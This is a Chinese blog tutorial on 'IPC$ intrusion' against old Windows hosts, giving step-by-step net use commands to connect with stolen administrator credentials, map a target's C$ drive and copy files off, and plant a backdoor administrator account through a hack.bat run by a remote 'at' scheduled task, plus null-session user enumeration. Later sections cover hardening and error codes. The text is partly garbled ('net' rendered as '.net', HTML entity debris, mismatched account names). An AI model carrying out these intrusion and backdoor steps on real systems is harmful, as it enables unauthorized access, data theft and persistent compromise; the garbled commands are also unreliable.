1336天 Edwiin

还好有你,再见如初。

基于认证的入侵 —— IPC$入侵

发布于 29天前 / 58 次围观 / 0 条评论 / Windows / Edwiin

      IPC$是Windows系统特有的一项管理功能,是微软公司为了方便用户使用计算机而设计的,主要用来远程管理计算机的。但事实上使用这个功能最多的人不是网络管理员,而是“入侵者”!他们通过建立IPC$连接与远程主机实现通信和控制。通过IPC$连接的建立,入侵者能够做到:建立、拷贝、删除远程计算机文件;在远程计算机上执行命令


  一、远程文件操作

  1、相关知识

  ①、什么是IPC?

  IPC是英文Inte.net Process Connection的缩写,可以理解为“命名管道”资源,它是Windows操作系统提供的一个通信基础,用来在两台计算机进程之间建立通信连接,而IPC后面的“$”是Windows系统所使用的隐藏符号,因此“IPC$”表示IPC共享,但是是隐藏的共享。IPC$是Windows NT及Windows 2000/XP/2003特有的一项功能,通过这项功能,一些网络程序的数据交换可以建立在IPC上面,实现远程访问和管理计算机。打个比方,IPC连接就像是挖好的地道,通信程序就通过这个IPC地道访问目标主机。默认情况下IPC是共享的,除非手动删IPC$。通过IPC$连接,入侵者就能够实现远程控制目标主机。因此,这种基于IPC的入侵也常常被简称为IPC入侵

  ②、关于Windows操作系统的默认共享

  为了配合IPC共享工作,Windows操作系统(不包括Windows 98系列)在安装完成后,自动设置共享的目录为:C盘、D盘、E盘、ADMIN目录(C:\WINNT\)等,即为ADMIN$、C$、D$、E$等等,但要注意,这些共享是隐藏的,只有管理员能够对他们进行远程操作。在MS-DOS中键入&ldquo.net share”命令来查看本机共享资源。

  ③、DOS命令

  下面介绍几个比较基础DOS命令,这些都是DOS中经常使用的命令

  DIR命令:列出当前路径下的文件,常常用来查看想要找的文件是否在该路径下。
  CD命令:进入指定的目录。比如,想进入E盘中的CODE文件夹,则在E:\>下键“CD CODE”命令

  常用.net命令
   .net user:系统账号类操作
   .net localgroup:系统组操作
   .net use:远程连接、映射操作
   .net send:信使命令
   .net time:查看远程主机系统时间
    cls命令:清屏命令
   .netstat -n命令:查看本机网络连接状态
    nbtstat -a IP命令:查看指定IP主机的NetBIOS信息

  2、实例

  下面用实例来介绍如何建立和断开IPC$连接,看看入侵者是如何将远程磁盘映射到本地的。通过IPC$连接进行入侵的条件是已获得目标主机管理员账号和密码

  步骤一:单击“开始”→“运行”,在“运行”对话框中键入“CMD命令

  步骤二:建立IPC$连接。
    使用命令.net use \\IP\IPC$ "PASSWD" /USER: "ADMIN"与目标主机建立IP
    参数说明:
      IP:目标主机的IP
      IPC$:前面已经介绍过
      PASSWD:已经获得的管理密码
      ADMIN:已经获得的管理员账号
      键入命令.net use \\192.168.27.128\ipc$ " " /user:"administrator"

  步骤三:映射网络驱动器。
    使用命令.net use z: \\192.168.27.128\c$
    参数说明:
      “\\192.168.27.128\c$”表示目标主机192.168.27.128上的C盘,其中“$”符号表示隐藏的共享。
      “z:”表示将远程主机的C盘映射为本地磁盘的盘符。该命令表示把192.168.27.128这台目标主机上的C盘映射为本地的Z盘,映射成功后,打开“我的电脑”,会发现多出一个Z盘,上面写着“C$位于192.168.27.128上”,该磁盘即为目标主机的C盘。

  步骤四:查找指定文件。
    用鼠标右键单击Z盘,在弹出菜单中选择“搜索”,查找关键字“账目”,等待一段时间后,会得到结果。然后将该文件拷贝、粘贴到本地磁盘,其拷贝、粘贴操作就像对本地磁盘进行操作一样。

  步骤五:断开连接。
    键入&ldquo.net use * /del”命令可断开所有IPC$连接。
    参数说明:
      “*”表示所有的连接
      “/Del”表示删除
      另外,通过命令.net use \\目标IP\ipc$ /del可以删除指定目标IPIPC$连接


  二、留后门账号

  1、相关知识

  ①、什么是BAT文件?

  BAT文件是在Windows系统中的一种文件格式,称为批处理文件。简单来说,就是把需要执行的一系列DOS命令按顺序先后写在一个后缀名为BAT的文本文件中。通过鼠标双击或DOS命令执行该BAT文件,就相当于执行一系列DOS命令

  ②、什么是计划任务?

  举个例子,假设想在明天上午10点给电脑杀毒,但是正好明天上午10点要出去办事,那怎么办呢?这时候就要使用“计划任务”这个功能,令计算机在明天上午10点自动执行杀毒程序。计划任务是Windows系统自带的功能,可以在控制面板中找到。除此之外,还可能用命令行的方式来添加计划任务。

  ③、相关DOS命令

  copy命令:把一个文件拷贝到另一个地方,“另一个地方”可以是本地计算机的目录、磁盘,也可以是另一台主机的目录或磁盘。
  at命令:用来建立计划任务。
 .net time命令:用来查看目标计算机的系统时间,以便使用计划任务指定时间。
 .net user命令:用来管理计算机上面的账号。
    — 查看账号命令.net user
    — 建立账号命令.net user name passwd /add
    — 删除账号命令.net user name passwd /del
 .net localgroup命令:用来管理工作组。

  2、实例:建立后门账号

  步骤一:编写BAT文件。
    打开记事本,键入&ldquo.net user sysbak 123456 /add”和&ldquo.net localgroup administrators sysback /add”命令,编写好命令后,把该文件另存为“hack.bat”。下面对这两个命令进行说明。
  命令.net user sysbak 123456 /add。该命令表示添加用户名为sysback,密码为123456的账号。
    参数说明:
      “sysback”:用户名
      “123456”:用户的密码
      “/add”:表示添加账号
  命令.net localgroup administrators sysback /add。该命令表示把sysback添加到管理员组(administrators)。
    参数说明:
      “administrators”:表示管理员组
      “sysback”:刚建立的用户名
      “/add”:表示添加账号

  步骤二:与目标主机建立IPC$连接。在上面的实例中已经介绍过这一步骤,所以这里省略。

  步骤三:拷贝文件至目标主机。
    使用命令copy FILE \\IP\PATH
    参数说明:
      “FILE”表示本地的文件名
      “IP”为目标主机的IP地址
      “PATH”保存文件的路径
  打开MS-DOS,键入“copy hack.bat \\192.168.27.128\c$”命令copy命令执行成功后,就已经把D盘下的hack.bat文件拷贝到192.168.27.128的C盘内。此外,也可以在图形界面下把hack.bat复制、粘贴到目标主机中。

  步骤四:通过计划任务使远程主机执行hack.bat文件。
  首先键入&ldquo.net time \\IP命令查看远程主机的系统时间,再键入“at \\IP TIME COMMAND”命令远程主机上建立计划任务。
    参数说明:
      IP:目标主机IP
      TIME:设定计划任务执行的时间
      COMMAND:计划任务要执行的命令
  打开MS-DOS,键入&ldquo.net time \\192.168.27.128”命令。假设回显的目标系统时间为13:33,然后根据该时间为远程主机建立计划任务。键入“at\\192.168.27.128 13:45 c:\hack.bat命令,该命令表示在下午13点45分执行目标主机C盘中的hack.bat文件。计划任务添加完毕后,使用命令&ldquo.net use * /del”断开IPC$连接。

  步骤五:验证账号是否成功建立。等待一段时间后,估计远程主机已经执行了hack.bat文件。下面通过建立IPC$连接来验证是否成功建立“sysback”账号。连接成功!说明管理员账号“sysback”已经成功建立。


  三、IPC$空连接漏洞

  1、漏洞描述

  IPC$本来要求客户机需要有足够的权限才能连接到目标主机,然而事实并不尽然。IPC$空连接漏洞允许客户端只使用空用户名、空密码就可以与目标主机成功建立连接。

  2、漏洞带来的影响

  入侵者利用该漏洞可以与目标主机进行空连接,但是无法执行管理类操作,例如不能执行映射网络驱动器、上传文件、执行脚本命令。虽然入侵者不能通过该漏洞直接得到管理权限,但也可以用来探测目标主机的一些关键信息,在“信息搜集”中可以发挥一定作用。

  3、实例:通过IPC$空连接获取信息

  步骤一:建立IPC$空连接。如果空连接建立成功,说明该目标主机管理员的技术不是很精湛。从这一点可以反映出目标主机的“坚固”程度。

  步骤二:键入&ldquo.net time \\IP命令来查看目标主机的时间信息入侵者也可以通过目标主机的时间信息来推断目标主机所在的国家或地区。当然,用这种方法来判断并不是最好的方法,而且在没有建立IPC$空连接的情况下,是不可能获得主机时间信息的。

  步骤三:获取目标主机上的用户信息。主机泄露用户信息是非常严重的安全隐患。一旦用户信息被获知,入侵者便可能通过各种方法,甚至暴力破解来得到用户密码。下面介绍两款获取用户信息的工具USERINFO. exe和X-Scan扫描器。

  ①、USERINFO

  USERINFO是利用IPC$漏洞来查看目标主机用户信息的工具。通过USERINFO来查看目标主机用户信息的时候,并不需要事先建立IPC$空连接。
  使用命令:USERINFO \\IP USER
  参数说明:
    IP:目标主机的IP地址
    USER:预获取信息的用户名

  ②、X-Scan扫描

  使用方法(略,相信朋友们对他都不陌生!)


  四、安全解决方案

  IPC$为入侵远程连接目标主机提供了可能。入侵者所使用的工具中有很多是基于IPC$来实现的。可见,IPC$在为管理员们提供了方便操作的同时,也留下了严重的安全隐患。因此,如果成功地阻止了IPC$入侵,也就阻挡了相当一部分入侵者。

  1、删除默认共享

  ①、了解本机共享资源。键入&ldquo.net share”命令
  ②、删除共享资源,这里介绍两种方法。
    方法一:通过BAT文件执行删除共享资源命令
    首先建立BAT文件,比如建立的BAT文件为noshare.bat,键入如下内容。
     .net share ipc$ /del
     .net share admin$ /del
     .net share c$ /del
     .net share d$ /del
    如果有其他盘符,可以继续添加。然后将该文件保存后,拷贝至本机“开始”→“程序”→“启动”中。以后每次开机都会自动执行该BAT文件来删除默认共享。如果需要使用默认共享资源,则使用命令.net share 来打开共享,比如使用&ldquo.net share IPC$”命令来打开IPC$。

    方法二:通过修改注册表来删除默认共享。
    在“运行”对话框中键入“regedit”命令打开注册表编辑器。然后根据不同的操作系统找到下列键值进行修改。
引用内容 引用内容
Windows 2000服务器版本
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters
新建Name:AutoShareServer
Type:DWORD(双字节)
Value:0
Windows 2000工作站版本
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters
新建Name:AutoShareWks
Type:DWORD(双字节)
Value:0

  按上述方法建立后,在重新启动计算机后,默认共享即被删除。如果需要使用共享资源,则删除刚才建立的键,重新启动后生效。或者在注册表 HKEY_LOCAL_MACHINE\Software\MicrosoftWindows\CurrentVersion\Policies 下新建Network子键,并在其下面再新建一个名为NoShareControl的双字节,数值设为1。也可通过关闭Server服务来解决。

  2、禁止空连接进行枚举攻击的方法

  有了IPC$空连接作为连接基础,入侵者可以进行反复的试探性连接,直到连接成功、获取密码。可见,IPC$为入侵者通过暴力破解来获取远程主机管理密码提供了可能性,被入侵只是时间问题。下面介绍如何禁止空连接进行枚举攻击。打开注册表编辑 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA 中把Restrict Anonymous =DWORD的键值改为:00000001,也可以改成2,不过改成2的话可能造成一些服务不能正常工作。修改完毕后重新启动计算机,这样便禁止了空连接进行枚举攻击。不过要说明的是,这种方法并不能禁止建立空连接。现在再使用X-Scan对计算机进行安全检测,便会发现该主机不再泄露用户列表和共享列表,操作系统类型也不会被X-Scan识别。

  3、关闭Server服务

  Server服务IPC$和默认共享所依赖的服务,如果关闭Server服务IPC$和默认共享便不存在,但同时也使服务器丧失其他一些服务功能,因此该方法不适合服务器使用,只适合个人计算机使用。通过“控制面板”→“管理工具”→“服务”打开服管理器,在服务管理器的服务列表中找到Server服务,使用鼠标右击该服务,在弹出的菜单中选择“属性”,然后选择“禁用”,修改成功后重新启动。重新启动计算机后修改生效,此时已不能与该机建立IPC$。

  除上述方法外,也可使用DOS命令来关闭Server服务。使用命令&ldquo.net stop server/y”来关闭Server服务,但该命令只能生效一次,计算机重新启动后Server服务还会自动开启。


  五、常见问题与解答

  1、问:与远程主机建立IPC$需要满足什么条件?
  答:①、本地机所需条件:作为一个网络平台,操作系统应该是Windows 2000或以上,而不能使用Windows 9x,因为Windows 9x系列操作系统的网络功能还不完善,与远程主机建立IPC$,本地计算机也应该开放IPC$。在获得远程主机的管理员账号和密码的情况下,IPC$才可能建立成功,IPC$空连接除外。②、远程主机所需条件:需要开放IPC$共享。运行Server服务。综上所述,虽然需要本地机和远程计算机满足这么多条件,但这些条件都是系统默认安装的。因此,只要本地机和远程主机没有进行手动更改,就可实现IPC$。

  2、问:既然使用IPC$空连接就可以与远程主机建立连接,那么未授权者能通过IPC$空连接来控制远程主机吗?
  答:IPC$是基于账号和密码的,当拥有远程主机上的账号和密码后才能成功建立有效的IPC$,而且建立的IPC$拥有相应账号的权限。按照这个道理,虽然使用IPC$空连接能够与远程主机建立连接,但是该连接没有任何权限。也就是说,未授权者不能通过IPC$空连接控制远程主机。

  3、问:与远程主机建立IPC$成功,但是文件考拷贝到远程主机失败,为什么?
  答:首先,在拷贝文件到远程主机之前需要先用管理员账号与远程主机建立IPC$连接,而不是IPC$空连接。如果建立了IPC$连接仍然不能进行拷贝操作,则说明远程主机关闭了C盘,D盘等默认共享资源,这时候可以使用计划任务开启这些共享资源,比如“at \\IP TIME NET SHARE c:
”。

  4、问:当通过IPC$建立连接时出现“错误5”,结果造成连接建立失败,为什么?
  答:5号错误的原因是权限不足。除错误5外,其他常见错误及其原因如下。
  错误号51,Windows无法找到网络路径:网络有问题。
  错误号53,找不到网络路径:IP地址错误;目标未开机;目标Server服务未启动;目标有防火墙(端口过滤)或者没有IPC$。
  错误号67,找不到网络名:你的Workstation服务未启动;目标删除了IPC$。
  错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个IPC$,请删除再连。
  错误号1326,未知的用户名或错误密码:原因很明显了。
  错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动。(连接域控会出现此情况)。
  错误号2242,此用户的密码已经过期:目标有账号策略,强制定期要求更改密码

  5、问:即使用户名和密码并不正确,有时也能与远程主机建立IPC$连接,为什么?
  答:确实存在着这种情况,有时使用随便命名的用户名和密码,甚至该账号并不存在,也可以与远程主机建立IPC$连接。该情况类似于IPC$空连接漏洞,其结果也与建立IPC$空连接后一样,不能执行操作类命令